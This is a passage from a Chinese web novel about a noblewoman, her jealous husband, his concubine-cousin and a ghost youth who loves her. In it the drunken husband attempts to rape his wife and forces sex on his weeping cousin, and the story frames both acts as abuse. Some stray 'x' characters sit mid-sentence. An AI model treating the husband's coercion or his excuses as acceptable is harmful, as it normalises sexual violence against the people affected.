可是片刻后,贺文卿最终还是没有忍心下手,他悲愤将剑狠狠扔了出去,头也不回转身离去。 才离开,后脚贺文卿身边常跟的一个小厮就谨慎跑进来传了他的话。 “少夫人,公子说了,他不想在府中看到表少爷了,若他一日还在府里,以后就绝不再去你房中。” 魏姻毫不在意朝他挥挥手,“去告诉郎君,他爱怎样怎样,表少爷暂时是不会离开的。” 小厮苦着脸,走了。 房里。 魏姻和陆魂,沉默而立。 魏姻揉着眉头,回头,陆魂一副小心翼翼,又阴郁的低眉顺目模样靠窗站着,手臂上的血不断往外渗透,他捂手臂的手都染黑了,可见剑划进去有多深。 魏姻叹口气。 上前,轻轻握住他的手臂,拿出身上的帕子替他将伤口包起来。 “待会我让人给你多送点吃食来,你把伤养好。” 陆魂轻“嗯”了一声,他晓得,夫妻间最是忌讳这种事了,见她开口了,这才敢出声,“魏姐姐,是我害得你和你郎君不和,我会,跟他解释清楚的,不会让他误会你……” 魏姻笑他,“跟你没什么事。” 陆魂在心里直摇头。 不。 他记起来那晚,确实偷偷对她做过极龌龊的事情。 甚至,从小到大,到她都与郎君成了婚,还一直藏有这样龌龊的心思。 陆魂静静看着魏姻给他包扎手臂,光是她的手停留在他的肌肤上,便能让他浑身不禁发起寒颤来,他将这点触碰都看完了,魏姻收手站起身了,才开口说道。 “魏姐姐,我会尽快离开这里的,不让你为难。” 魏姻一听,想都没想,伸手勾住他的头发拽了拽,笑着问,“你要离开?” “嗯。” “那你去哪里?睡哪里?” “什么地方都能睡,附近有座破观,我可以……” “胡说。”魏姻打断他的话,“那种地方怎么可以睡呢?好了,你别管贺文卿方才那些让你离开的话,我与他的事,跟你一点关系都没有,你好好把伤养好再说,知道么?” 陆魂没回应,只静静盯着她看。 魏姻走后,回到了自己房里,才知道,陈宣华将方才发生的事都严厉吩咐知情的人不许说出去,因此,贺老爷子和贺夫人全不知道。 殊不知,在她从陆魂那儿离开不久。 贺文卿便醉醺醺的,带着几个下人来到了陆魂这里。 陆魂摸着手臂的帕子,抬头望向他们。 贺文卿一眼就看到了那是魏姻的帕子,他冷笑一声,直接抬手示意,一个看起来很强壮的汉子,见状立刻冲过去,一把将陆魂包手臂的帕子扯了下来,陆魂顿了顿,最终,他还是忍住什么都没做,而汉子则将帕子双手奉给贺文卿。 贺文卿拿着看了两眼,居高临下睨着陆魂。 “身为读书人,肖想他人妻子这类行径,你竟也做得出来?” 陆魂面无情绪。 “你究竟是谁?”贺文卿又问,“哪里人士?和魏姻究竟是何种关系?你们俩可有做到那一步……?” 陆魂仍旧不理会。 贺文卿见他如此沉默,也懒得再问下去了,只道:“你今日是要自己走,还是要我将你扔出去?” 陆魂终于说话了,淡淡的,“不劳贺大人动手,我会离开。” “那是最好不过了。”贺文卿顿道:“出去之后,千万不要说出什么不该说的,否则你的功名仕途以后……” 陆魂听都没听完,转身就走。 贺文卿目光落到他身上的大氅,补了一句:“不许拿走任何我夫人给你的东西,当初怎么来的怎么走!” 陆魂没作声,伸手脱下身上大氅。 贺文卿目送陆魂离去,眉眼间的阴鸷才缓解一些,他挥手让下人跟过去,务必要亲眼看着他离开贺家才行。 做完这一切。 他闭上了眼睛。 这件事,实在有辱他贺文卿贺家的名声,他绝不允许传出去让人知道,可对于如何处置魏姻,他一时怔住。 魏姻方用完晚膳,正准备让人将一蛊汤送到陆魂那去,正在这个时候,贺文卿回来了,他身上带着点醉意。 他以为魏姻做出了这种事,至少会心虚,可能还会像以前一样,跑过来缠他,哄他别生气,那么,只要她当真如她自己所说的那样,没有真与陆魂做过那种事,他也不是不可以饶了她。 但魏姻,并不在意。 只在他进来时,抬眼望了他一眼。 贺文卿眼神阴沉,也不理会她,而是看向一旁送汤的丫鬟,“这是什么汤,要拿哪去?” “是补汤。”丫鬟完全不知道方才发生的那些事,回道:“少夫人吩咐,让给表少爷送去的。” 贺文卿面容瞬间阴沉到一片暴风雨。 他走过去,将丫鬟手里的食盒用力一扫,汤洒了蛊碎了,丫鬟刚想捡起来,便被贺文卿厉声喝了出去。 魏姻瞪眼,“贺文卿,你做什么?” “我x做什么?”贺文卿上前,将魏姻逼在墙角,“我倒要问问你做什么?还口口声声说你们没有关系,是我误会了!却不但为了你那个情夫挡剑,还要给他送补汤?怎么着,他这么轻的年纪就跟你不行了?!” 魏姻听他的话越说越过分,“他年纪小,还没有成亲的,你不要在这胡说八道。” “小?”贺文卿无比狂怒,哪里还有一点平日克己守礼的状元郎模样,抬手掐住魏姻的下颌,“究竟是年纪小,还是那里小呢?魏姻,我原以为,是我真误会了你们,我就想着,你若能知错,我倒也不是不能饶你,可现在看来,你这女人简直毫无廉耻!” 魏姻想要挣开他的束缚。 贺文卿却越逼越紧,紧到整个人都要抵到她的身上去了,他故意讽刺道:“你也不要想不安分了,我绝不可能让你们丢了我贺家的脸,且我实话告诉你了吧,陆魂方才已经被我赶了出府,他倒是还识趣,有些分寸,没有不知好歹,让他大氅脱下就脱下了,不然,别怪我将他剥光了扔上街。” “你赶他走了?”魏姻立即想到了少年身负重伤未愈,“如今天这么冷,又是夜里,你让他穿那么单薄就走?” “你心疼他?”贺文卿再次将她的脸辦向自己,“你敢!” 魏姻不想跟她多费口舌吵这个,将手往前一拦,“你喝多了,去宣华房里吧。” “你想去找他?”贺文卿马上领会道她的意图,“你想都不要想!魏姻!我看是我太久没有碰你了,让你搞不清楚自己究竟是什么身份了是吧?那今晚你好好看看,谁才是你的夫!谁才是你的天!” 魏姻甚至都来不及说话,贺文卿忽然拦腰将她抱了起来,不由分手,将她扔在了床榻上,跟着双腿夹住魏姻,而牙叼起魏姻肩头衣襟,暴戾撕开了她的外裙。 凶狠、暴力、毫不柔情。 魏姻让贺文卿这个模样吓得脸都白了。 她猛烈挣扎起来。 要跑出去。 然而贺文卿一捞,就将她的双手给捞住了。 贺文卿冷声笑道:“从前我忍你,哄着你,不为难你,是给你几分脸面,可如今看来,是我太给你脸了,应该早让你好好安心待在家中相夫教子才对,从今晚起,你以后都不用出房门半步了,我每天晚上都会过来,碰到你怀上身孕为止!” 第57章 床榻上,衣裙已从魏姻的雪润肩头被贺文卿用牙撕扯了下来,一片雪光乍泄,腻得贺文卿双眼又火又厉。 魏姻手被桎梏住,一时难以挣脱。 贺文卿牙往下,来到她的胸口。 魏姻本就被贺文卿粗暴强迫她行房弄得恐惧不已,可当贺文卿那番话说完,她只觉满腔羞辱,她悲愤嘶吼起来: “有孕为止?你把我魏姻当什么人了?任你想碰就能碰的?滚开!贺文卿!你给我滚开!你不许碰我!我也绝对不会跟你有子嗣的,绝对不可能!” 贺文卿闻言,停住,一把掐住她脖颈。 “不想有你丈夫的子嗣,那你想跟谁有?陆魂那个小兔崽子么!我告诉你,你想都不要想,我三个月内非要你做上我儿子的母亲不可!” “你混账!”魏姻眼被气红,“你这么想要儿子,去找陈宣华给你生,你敢让我有,我就在肚子里摔死他!” 这句话彻底如点火索一般,点燃了贺文卿的所有火气。 他的牙咬得咯吱响,后槽牙几乎都快给他咬碎了。 他恶意笑了起来。 像故意要凌辱她一般。 玩味着,将她的手箍在头顶。 “是么?看来,你当真被陆魂给碰过了?行,你不想要,我还不想给了,你也不配再做我孩子的母亲,我今夜,只是看你容色还算好,想像狎伎那样泄泄火罢了,你真当自己是个什么玩意了,啊?” “来,让我看看,你被陆魂弄成什么样了。” 说着,用牙去撕她里面的那件抹胸衣裙。 魏姻听着他侮辱的话语,身子气得止不住地发颤,她再也不愿意任他为所欲为,在贺文卿要覆身下来时,头先扑过去,一口咬进贺文卿的肩膀肉里。 她用了吃奶的劲。 直咬出血来,都不肯松开。 贺文卿对女人,从来都是不费力的,只要他想,都能任他为所欲为,表妹陈宣华,为了讨他开心,往往都是忍着他想怎么样就怎么样。 可他想不到,有女人竟会蛮横到魏姻这种地步,痛得直咬牙倒吸冷气,他也被逼得更加疯了,嘴角冷冷勾着,竟然不顾剧痛,任由她咬着,而一只手则死死将魏姻脑袋按住他的肩头,继续用牙去咬她的里衣。 魏姻也卯上了劲,说什么也不愿意让他碰,身子即使被这个男人沉沉压住,也要疯狂扭躲着。 贺文卿这瞬间。 疯了。 彻底疯了。 他甚至不想再费力去脱她的衣裳,也不和从前那样,怕魏姻疼,每次都会安抚她许久才敢碰。 这次,他想直接粗暴要了她。 就像他自己刚刚说的那样。 狎伎泻火罢了。 他这么想着,就准备这么干了。 手已经不容她再挣脱,抓住了魏姻的腰肢。 贺文卿屈起了身。 魏姻明白了他想做什么,她再蛮横,到底抵不住这个高大男人的力气,悲愤完全充斥心头,她仇恨瞪住贺文卿,眼泪无声而又倔强地流了出来。 贺文卿手湿了。 彻底愣住了。 他看向魏姻冷漠怨恨的眼睛,他从未见过魏姻流泪,他的心突然抽了一下,人也突然冷静下来。 夫妻俩就这么对望。 贺文卿慢慢地,松开了手,从她身上起来。 魏姻立刻用被褥裹住自己。 贺文卿闭了闭眼,将身上的衣袍重新整理好,一番对峙下来,他倒不像魏姻那样衣物几乎都快被他给撕碎了,除了有些凌乱褶皱,依旧道貌岸然穿在身上。 他怔忪着,不知该说什么。 而后,他问道:“魏姻,你跟陆魂到底有没有过……” 魏姻冷冷勾唇,“没有,都说了是误会。” 贺文卿拧眉,“你说的是真的?不是骗我的?” 魏姻冷笑不搭理。 贺文卿想了一会儿,最终,叹息一声,“行,你虽性子有些不好,但到底也不是个会乱来的人,我便信了你这次,只要你日后,能跟他规规矩矩的,咱们还是和以前一样。” 魏姻这次连冷笑都懒得了。 “姻儿。”贺文卿意识到自己方才说的话太羞辱妻子,魏姻这次似乎真的气着了,他只好软了语气,凑过去,“你也别怪我方才说那样的话,你跟别的男人不清不楚,又骗我是你的表弟,我实在气愤,今晚又喝了些,难免情绪上头,对你粗鲁了些,你别生气了,嗯?我与你道歉可好?你若是实在气不过,打我咬我也行,都由着你好不好?不过今日这事过去之后,可不能再提了,以后咱们到底还得要个孩子,好好过,我思来想去,宣华虽好,但咱们还得自己有个子嗣的好,嗯?” 魏姻抬起了头。 她看着眼前的男人,那番粗暴狠厉肆意羞辱的一面,仍让她感到几分浑身颤抖。 “贺文卿。”魏姻不再有任何迟疑,冷声开口:“我们和离吧。” 贺文卿整个人僵住了。 他以为自己听错了,“魏姻,你说什么?” 魏姻冷漠重复,“我们和离。” 贺文卿完全预料不到,她会有这样想法,他脸色一下子阴沉下去,怒火又开始在酝酿,可他还是勉强忍住了。 “贺文卿。” 魏姻冷冷看向他,“你说我不清不楚,你倒是清清白白了?我便告诉你,即使我与陆魂真如何了,你又能将我怎样?不过这些都不重要,我魏姻此生,却最容不得旁人来羞辱作践我,尤其是做我郎君的。” 贺文卿一窒,他低下了头,“姻儿,那些话,是我一时气上心头才会口不择言,我并非……” “好了。”魏姻直接改了称呼,“贺大人,不必解释,其实你我这段婚事,从来就不匹配,你虽不说,但心底里早一直觉着我愚昧无知,你想要的,是宣华那样的妻子,既然两两相厌,不如尽早和离吧。” 贺文卿沉沉盯住她,“你说的可是认真的?当真要与我和离?” 魏姻点头。 贺文卿却笑了,“和离?传出去我贺文卿像什么话?这事你想都不要想了,我不同意x,你这辈子都别想和离!” 魏姻笑得很冷,“贺文卿,你当真我魏姻任你欺辱么?我魏家任你欺辱么?我父亲,我魏家在朝廷经营几代,是给你看着玩的么?是你说不同意就不同意的?” 贺文卿当然知道魏家在朝廷的权势地位,更知道魏父为了她这个女儿是什么都敢做的,他面容彻底凝固住。 可想要他和离,看着她再嫁与旁人,想都不要想,贺文卿最后不笑不怒道:“魏姻,我知你今日是气着了,才会说出这样的话,我不与你计较,你先歇着吧,明日一早我再来看你。” 说着,不待魏姻再有话说,径自甩袖而去。 魏姻皱了皱眉,她望了望自己身上不成样子的衣裙,而手腕手臂以及身上一些地方,几乎都被贺文卿给掐出了红痕来,她足足靠坐在床角半个时辰,才从今夜的混乱中慢慢理出点精神来。 脱下破碎衣裙,重新换了套衣物后,这才叫来丫鬟吩咐。 “与郎君说,方才之事,绝无玩笑,他同意也罢,不同意也罢。” 丫鬟很快回来了,说贺文卿在听到后,大为恼火,抄起一旁的砚台砸碎了,让丫鬟滚,丫鬟吓得连滚带爬跑回来。 魏姻闻言,没说什么,只默默去案台上提笔给魏父写了一封长信,而后,她将信交给娘家陪嫁过来的人,让其送去京城。 做完这一切,魏姻才想起被贺文卿深夜赶出贺家的少年,于是叫来陆魂院子那边的人问。 来人回道,并不知道贺文卿将他赶去了哪里。 魏姻望住外头深幽夜色,正起着大风,吹得高树枝叶七倒八歪,路过的下人冻得纷纷掖紧了衣襟。 她披上裘衣,吩咐备车。 临走前,想起陆魂大氅被贺文卿留了下来,又让人去将他的大氅取来。 虽然,陆魂没有五感,不知冷热。 马夫问她,去何处。 魏姻也不知道陆魂究竟去了哪里,她思虑片刻,便道:“看看附近有什么破庙败观的,都去看看。” 马夫立刻道:“少夫人,这几里外就有一处荒废的小观呢,不过少夫人去那里做什么?这么晚了,可要跟公子说一声?” 魏姻摇头,让他快些赶过去。 几里处的这座小观,原是一个老道人的,后来老道人死后,香火不旺,渐渐地就没什么人来了,因此破败荒废下来。 高深黑广的天罩着这座小观,如今这个节气,月亮没什么了,总被黑黑的云层给盖住,不像夏日时候又大又圆,可以照得周边景物都能看得见。 小观里连一点光亮都没有。 站在门口一望,黢黑的。 魏姻是比较怕黑怕鬼的,这段时间和陆魂经历了这么多诡异的事,胆子开始大了一点,即使没有人陪着,她还是能够勉强壮着胆子一个人往小观里头走去。 她手里提着的灯笼,并不明亮。 只能看清脚下。 终于。 魏姻看见了在破败神像前坐着的少年了。 少年伸直双腿,靠坐在神像上,一动不动,连有人走近了都没有察觉到。 魏姻走过去,才看到少年很是虚弱无力地半坐着,他被贺文卿划伤手臂后,流了些血,损耗了元气元神,加上之前的还没完全养好的伤,整个人都显得有气无力。 直到魏姻都蹲在了他的面前,手伸到了他的脸上。 少年才被惊醒。 然而少年以为是梦,不曾想到她会深夜出现,再无一丝克制地用两指夹住她的下颌,而拇指指腹则用力按在她微张的唇瓣上。 第58章 少年指腹还按在妇人的唇瓣上,她方从外头进来,脸让冷风吹得冰冷,嘴唇也是,然而少年的手指更没有一点温度,他眼眸黑黑地盯着她的脸看了好些时候,指腹接着,用力将魏姻的唇瓣不断揉搓起来,而少年,如同那次喝了催情酒似的,随着揉搓妇人唇瓣的动作越发急促,而重重吸着气。 魏姻以为他梦见什么东西了,痛得立即攀住陆魂的手,出声喊醒他。 陆魂骤然清醒。 他的手指还贴在妇人唇上。 陆魂猛地收了回去,低下头去,一动不动,盯着满是灰土的地面,魏姻习惯了他的古怪,没在意,将搭在手臂上的大氅披到他身上,又像照料孩子似的,亲自替他将其系好。 “贺文卿让你离开的?” 陆魂乖乖梗着脖子,任由她摆弄着,她说话了,方才小心翼翼抬眸瞥她一眼,“你怎么……来了。” 魏姻没理会他的问话,将他从地上拉起身,他就这么坐躺在这个破败小观里,身上的旧衣沾了许多灰尘,她一面抓着他的手腕,一面踮起脚给这个身量极高的少年掸起周身尘土。 她抚起少年长发,将他的头发也一并拢了拢灰,一面,用力拽拽少年垂在身后的长飘带,不高兴训道:“你好歹也是个鬼,他让你走你就走了?” 陆魂不敢作声,如平常一般,低低将头往下垂去。 魏姻看他又这个闷样,彻底没好气了,托起他下颚,“不许低头了,看着我说话!” 陆魂被迫与她对视起来,他好几次想要下意识埋下头去,可他的下颚被魏姻牢牢摁住了。 他只得开口,“你与贺大人是夫妻,我不愿因着我让你们夫妻不睦。” 魏姻叹口气,“所以你就准备睡在这种地方?” 陆魂望望四周,浑不在意,“不碍事的,我成鬼后,一直都是这样睡的。” 魏姻听着他这话,大概已经能够想象他这做鬼生涯有多伶仃了,怕扰生人,只能睡在没人的破庙烂屋里。 陆魂将她的手从脸上拿开,又替魏姻拢了拢身上的裘衣,不至夜风侵袭,做完这些,他这才往后退一步,拉开些许距离。 “魏姐姐,你不必担忧我,我不会有什么事,我没有五感,住在这里也不会冷的,时辰不早了,你快些回去吧,贺大人会担心的,你若有事,让人来这里找我就是。” 魏姻只好说了实话,“你不用理会贺文卿,我与他要和离了。” 陆魂满脸错愕- 贺文卿在砸完砚台,赶走了魏姻派来传话的丫鬟,怒气升腾,跟着下人又来回禀他说,魏姻独自出府去了,临走前还让人取走了陆魂脱下的衣物,贺文卿一听,瞬间明白魏姻这是要去找陆魂回来。 他气得脸都绿了。 他灌下最后一口酒,径自来到了陈宣华房里。 陈宣华并未入睡,与一个小丫头在房里头绣鞋面的花样,见贺文卿醉醺醺地过来,她惊讶站起身。 贺文卿吩咐丫鬟,“出去。” 陈宣华不知所以,愣了片刻后,准备来搀他。 贺文卿却面无表情,命令陈宣华,“脱了。” 陈宣华疑惑,“郎君?” 贺文卿语气加重,不容置疑,“将衣裳脱了。” 这里并不是寝房,还在外间,丫鬟虽都远远避开了去,可若是有丫鬟不注意经过这边,这里边的动静立刻会被听去。 意识到贺文卿的意思后,陈宣华脸上发臊,一阵红一阵白。 “让你脱了听不见么?!”贺文卿冷笑,“你也想学魏姻不守妇道啊?” 陈宣华从来没想到贺文卿会这样与她说话,羞窘难堪。 可她还是柔声说道:“郎君,今夜我那月信还没有去干净,我不能……” 贺文卿脑子发空,什么都听不进去,见她不情愿,于是砰地将一旁的花瓶扫在地上,“脱掉!” 陈宣华忍着耻辱,发着抖,一点一点艰难将身上衣裙褪下。 贺文卿毫无怜香惜玉之情,径自就在此处,将她推到墙根,又怒又急又悲愤地开始了起来。 陈宣华紧攥住拳头。 表哥,怎么能这样对她…… 这还是她幼时记忆里那个照顾她的表哥么? 陈宣华在贺文卿一声又一声急促的喘息中,含着泪,忍着身体剧痛,再也隐忍不住,大声啜泣了起来。 “表哥,我不要!我不要这样!” “表哥,不能在这里,不能在这里……” 而陈宣华如此动静,更弄得贺文卿心中烦闷不已,于是紧紧攥住陈宣华,不许她躲,狠狠加重了力道。 与此同时,魏姻还是将陆魂给带了回来,陆魂怕坏他们夫妻感情,本来不愿意,可在知道她和贺文卿要和离了,沉默了许久许久后,才任由她带回贺家。 魏姻看少年身体虚弱,本想先送他回去歇息的,可陆魂不肯让她夜里独自回房,硬要亲自送她过来。 走到院子里的时候,魏姻才发现x丫鬟们都不在,而只有陈宣华房里有动静传出。 她好像听到了陈宣华在哭,哭得怪凄惨的。 “出什么事了?”陆魂也听到了。 魏姻想不出贺文卿会在寝房外间这样有下人可能进出的地方强行与陈宣华行房,只以为陈宣华出了什么事,况且,陈宣华哭得如此声嘶力竭,实在吓人,立即大步过去看。 陆魂跟在身后一同过去。 魏姻来到陈宣华房门外,她掀开门帘往里张望,“宣华,你怎么了?” 然而,接下来,魏姻就看到了无法形容的一幕,身后跟来的陆魂正准备伸脖子来看,魏姻立刻放下帘子,捂住陆魂的眼睛。 “你不能看,先去我房里等我。” 陆魂被覆住眼眸,睫毛颤了颤,他听到了贺文卿的喘声,到底亲过了魏姻几回,如今一下子明白了到底是怎么回事,什么都不敢问,耳尖红红地在魏姻手掌下点点头。 魏姻与陆魂突然之间到来,将贺文卿和陈宣华瞬间惊停了。 贺文卿听到魏姻的声音,什么都醒了。 贺文卿赶紧穿上衣物,陈宣华红着眼,捡起地上衣裙胡乱往身上拢。 魏姻没有立即进去,直等到里面差不多了,才再次掀开帘子进去,看到贺文卿揽着陈宣华的腰,满是冷意和故意挑衅望着她,而陈宣华虽被贺文卿揽在怀里,却眼睛红肿,整个人瑟瑟发抖不停,恐惧而羞耻地盯着地面,完全不敢看贺文卿。 贺文卿看到刚才魏姻找回了陆魂,他冷笑不已,“怎么,魏姻,我与宣华欢好,你也想来么?” 魏姻懒得搭理这个人,皱眉问:“宣华,你这两日月信不是还没走么……” 陈宣华掉着眼泪,不说话。 魏姻怒视住贺文卿, 这个男人,竟然如此粗暴对待自己的表妹,不但在她月信还没走前就强行同房,还是在这样的地方! 陈宣华虽一向温婉,可却是个很要脸面的姑娘。 怎么愿意? 陈宣华在贺文卿怀里,仍是低低在哭。 魏姻看出了陈宣华很不情愿,却又无法反抗,实在看不过去了,魏姻一巴掌打掉贺文卿的手臂,将陈宣华拉向自己,跟着,将人拉出了屋,往她房里去。 贺文卿沉沉盯着魏姻背影。 冷笑。 魏姻领着陈宣华回到自己屋里,她被贺文卿弄得身上又痛又羞耻,至今还在不住打颤,见着陆魂安静坐在短榻上,虽他一直习惯埋着头不言语,陈宣华仍旧觉得脸上一阵燥红。 她不敢看陆魂的脸色。 魏姻看出来了,她哄道:“没什么的,他年纪小,不懂什么,你别管他,我带你去房里洗把脸。” 陈宣华躲也似地跟着她进房去了。 过了半炷香功夫,魏姻独自从里头走出来,陆魂见是她,才好抬起头,“她,还好么?” 魏姻摇摇头,不过对于陈宣华的事,她不好跟陆魂多说什么,陆魂便也不再问了。 陆魂注意到什么,脸色变得严肃,从榻上站起身,来到魏姻身前,他握起魏姻的手腕,手腕上,是被用很大力气掐住时弄出来的红痕。 魏姻皮肤白,很是明显。 “怎么弄的?”陆魂想起什么,“可是贺文卿?” 魏姻当然不好将她和贺文卿在房里的争执跟他说出来。 陆魂见她不愿意多说,他心里大概清楚了,他识趣没有再问,只从她屋里拿了药膏来,轻轻握着她的手腕,替她抹药。 “还有哪里有?” 魏姻不好说腰上,也被贺文卿给掐了下,只摇头。 陆魂抿抿唇,抹上药后,并不急着收回手,用指腹轻轻将药膏揉开。 他此时不像往常那样羞涩,大着胆子,打量起魏姻的脸来,心绪复杂地开口问道:“魏姐姐,之前说要跟贺文卿和离,是……真的?” “当然了。” 陆魂低头沉思起来。 陈宣华这个时候走了出来,陆魂立刻放下了手,从魏姻身边站起来。 陈宣华眼也虽还有些泛红,可整体平静了许多,打量眼一旁少年后,这才对魏姻道:“姐姐,我……我先回去了。” “我让人去看看贺文卿还在不在,你再回去。”魏姻说。 陈宣华如今不太想单独面对贺文卿,便又坐下。 丫鬟来说,贺文卿已经回了书房。 陈宣华忙松口气,握了握魏姻的手,对她感激地苦笑了下,这才回去。 陆魂也得回去了,魏姻知道他不怕冷,仍旧给他披上了大氅,陆魂眼睛虽不曾看魏姻,却默默将破军递上,声音认真。 “姐姐,他若是欺负你了,让破军来告诉我。” 第59章 陆魂抚摸着大氅的边襟,垂眸走在回房路上,他的心却因今晚魏姻要与她郎君和离的事,荡起一层又一层的涟漪来,他尽量克制住脚步往前走。 回到房里,在床边坐下了,他方一点点从胸口摸出一个东西来,那东西是由一块旧帕子仔细包裹起来的。 打开来后,里头是一只镌着槐花的银簪子,看上去有些黯淡了,应该是很多年前的。 他握住这只簪,孤寂坐于床边。 这簪,还是他生前亲手所刻,是他想要送给魏姻的十六岁生辰礼。 而这做簪子的银子,是陆魂每日下学之后特意去帮人做工,做了半年,才好不容易攒出来的,又缠着银匠教他怎么做成簪子。 他平生孤寂,只知读书,侍奉祖母,没什么喜爱的东西,因自幼常常坐于家中的槐花树下读书,对于槐花倒还有几分欢喜,便将簪子做成槐花样式。 他要将他平生唯一欢喜之物,送给他最欢喜之人。 记得那一日,他终于赶在魏姻十六岁生辰之日将簪子做了出来,于是他早早地来到了学堂,等着有机会送给魏姻,魏姻这天竟也来得格外早,可陆魂年少自惭形愧啊,魏姻出身官宦,就连珍珠簪,玉簪,琉璃簪都有,比起她的那些华贵首饰,他的银簪就显得黯淡无光了。 陆魂把银簪在手心里都攥出汗来了,还是不敢将银簪拿出来。 可这天,老天眷顾了他,魏姻竟然主动与他说话了,她见他今日又吃着冷馍就水当早饭,她好心将她带来的糕点分享给他吃。 陆魂心跳如鼓,他想趁着机会,将银簪送出去,可他从小因为父亲喜怒无常的对待,情绪偶尔会有些怪异,不受控制,他还没恍过神来,发现自己竟将魏姻好心递来的糕点不慎扫落了一地。 他当时整个人都慌了。 他知道自己的怪异吓着了她,他一句话不敢说,更不敢再送簪子,窘迫逃离了学堂。 为此,陆魂的这只银簪,到死去,都没有勇气送到魏姻手里。 后来,即使两人亲近了些,但她已然成婚,有了夫君,他更没有送的资格了。 可是现在。 魏姐姐说,她和贺文卿要和离了…… 可下一瞬,当陆魂注意到他手心属于鬼的疤痕时,又瞬间清醒了,他抿起唇,又一点点将簪子塞回袖口去。 第二天,陆魂从床榻上起身,从来送饭的丫鬟口中得知,魏姻着凉染上风寒了。 大约是昨日深夜出府找他,被风吹着了。 陆魂过来时,魏姻正用完了早饭,刘嬷嬷端着一碗药汁,哄着她喝,魏姻被魏父娇贵惯了,向来怕苦,药经常是要人哄着喝的,即使刘嬷嬷如何劝,她都不情不愿。 刘嬷嬷毫不知情昨晚的事,见着陆魂到来,还偷偷高兴说:“表少爷你来了正好,少夫人病了嫌苦,怎么都不肯喝,平常都是公子哄着喝的,你劝一劝,若是实在不行,我去找公子来。” 陆魂自小在魏家学堂读书,知道魏姻这个毛病,每次都要被魏父哄得差不多了,才愿意喝。 他什么话没说,从刘嬷嬷手边接过滚烫药碗。 魏姻躲着药味,摆摆手,“你放下吧,我晚点再喝。” “魏姐姐,药要趁热喝的。”陆魂舀起一勺,待吹冷了些,才递到魏姻的嘴边。 魏姻摇摇头。 陆魂也不急,也不劝说,只始终保持着喂她的姿势,执着而又认真地盯着她看,大概足有半炷香时辰。 魏姻起初不理会他,自顾自地拿着一本闲书翻看,许久后,她被他这个模样弄得浑身不自在,又见他毫无放弃的打算,仿佛只要她不肯喝,就要这样端到天荒地老去。 她无可奈何,只好就着他的手,一口一口往下吞。 贺文卿到来时,望见的就是这一场景。 魏姻昨晚要和离,贺文卿本是不愿意过来的,可他又不甘心,想到魏姻平常喝药是他哄着喝的,便想借着喂x她喝药的机会稍微能回转一些。 谁知道,这还没和离呢,却早已有旁人替他代劳了。 还如此明目张胆。 他倚在门边,冷笑连连地睨住陆魂,眼里冒着冷刺,在陆魂还要拿帕子替魏姻擦拭嘴角时候,贺文卿再也忍不下去了,大步走来,将陆魂手中的空碗扫到地上。 “不知羞耻的贱夫,我跟她还没和离呢,你着什么急?轮得到你在这献殷勤么?!” 碎瓷片正好碎在了魏姻脚边。 陆魂怔然望向突然出现的贺文卿,他蹙起眉头,回头看一眼魏姻,最终,他什么也没说,只蹲下去拾她脚边的碎碗。 陆魂突然被一顿辱骂,魏姻气笑了,她和贺文卿昨日撕破脸后,不再给他脸面,毫不留情回怼道:“贺文卿,你要是脑子有病就去医馆看看。” 贺文卿想不到,会被妻子辱骂一遭,简直前所未有,他气得直喘气,但又不好再辱骂回去,见陆魂还在地上捡着瓷片,便狠狠朝其踹去一脚。 陆魂猝不及防,双腿一屈,双手正好扑在了碎碗上。 立刻被割伤了。 魏姻看到陆魂受了伤,彻底对贺文卿没什么好脸色,端起面前的茶杯朝贺文卿脸上砸。 贺文卿捂住额头,“你竟敢砸你的夫君?!” 魏姻还要拿起另外一个砸,却被陆魂给拦住了,他完全不在意自己被碎碗割到了手,见魏姻和贺文卿动手,他怕她伤着自己,摇头阻止道:“魏姐姐,我不碍事的,些许小伤罢了,不必为了我这点小伤而跟贺大人置气。” “你就任由他这样对你?”魏姻叹息。 陆魂情绪淡淡,“把茶杯给我吧。” 魏姻这才罢了。 贺文卿更来气。 死死盯了他们一会儿,然而两人都不理会他,全当他不存在一般,贺文卿自知再呆下去只会丢尽脸面,愤愤甩袖离开。 魏姻握住陆魂被割伤的手,“疼吗?” 陆魂摇头,“魏姐姐,我没有五感的,不知一般的冷热疼痛,这不是破军割的,些许功夫就能愈合了。” 但到底还是流了血。 魏姻叹口气,摸出帕子替他将手扎住,免得黑血继续流。 “待会我让人给你送点吃食,你补补身子。” “好。” 包扎好,魏姻在陆魂脚边看到了一包东西,“这是什么?” 陆魂注意到,那是他藏在袖里的银簪子。 兴许是贺文卿方才踢了他一下,踉跄间将簪子给掉落出来了。 陆魂下意识要去捡,但是魏姻先一步拿了起来。 魏姻看到是银簪子,还是槐花样式的,少有人用这个样式在簪子上。 “这是你的簪子?”她问。 陆魂迟疑着,可他仍旧没有勇气说这是送给她的,魏姻见他沉默不语,故意问:“是要给姑娘的?” “当然不是。”陆魂无奈道:“这是我母亲的。” 魏姻闻言,正了脸色,将簪子还他。 陆魂攥着簪子顿了顿,而后,他忽然间抬起手,按住魏姻的肩膀,不容躲避,将这根槐花银簪子插进了她的鬓发间。 魏姻抬头,少年在将簪子插进她发间后,便一言不发,抿着唇离开了她房里,什么都没说,什么也没讲,一如他这人古怪性子。 她望着陆魂背影,怔怔摸了摸鬓间银簪。 独自一人的房中。 陆魂在替魏姻戴上银簪之后,看也不敢再看她一眼,立刻回了房。 但总算,簪子这一次,亲手被他戴到她鬓发上了。 陆魂再无什么遗憾。 他感觉整个人变得前所未有轻松,常年陪伴他的阴郁仿佛也被方才的事给冲淡不少,他弓着腰,望住扎住的手掌,第一次,将嘴角弯了弯。 但须臾就被他给收住了。 丫鬟让魏姻送来了饭食,还有一壶花蜜酿的酒。 陆魂拆开手上帕子,闭目、低头,安静吸着这一桌酒食。 随着他吸食酒食,两个手掌的割伤以肉眼可见的速度,慢慢愈合起来,直至恢复如初。 但他却根本没有注意到,在门侧,站着一道身影,已经将这一幕给收入眼底,这个人浑身踉跄了一下,被惊吓住了,可紧接着,又反应过来,紧紧扶住一旁墙壁,才忍住没有发出声音来。 这个人,就是贺文卿。 贺文卿震惊不已地盯着在吸食酒菜的陆魂,他才割伤的伤口,竟然快速愈合了起来。 这…… 这绝对不是人所能做到的。 贺文卿不敢发出一点声音,他沉了沉心,才勉强克制住了自己内心的颤抖,跟着,在陆魂没有发觉前,悄然离开了此处。 他脑子空空,什么都不记得了,径自一路往书房疾步走去,就连碰到了贺夫人身边的嬷嬷跟他问好,他都顾不得理会。 等到他瘫坐在案台后,许久,这才渐渐抽回了点神智。 他不愿意与魏姻和离,但他拿魏姻没有办法,他要让陆魂自己主动离开贺家,不再介入他们夫妻之间。 可贺文卿没有想到,他竟然会看到那样的一幕。 那样的一幕…… 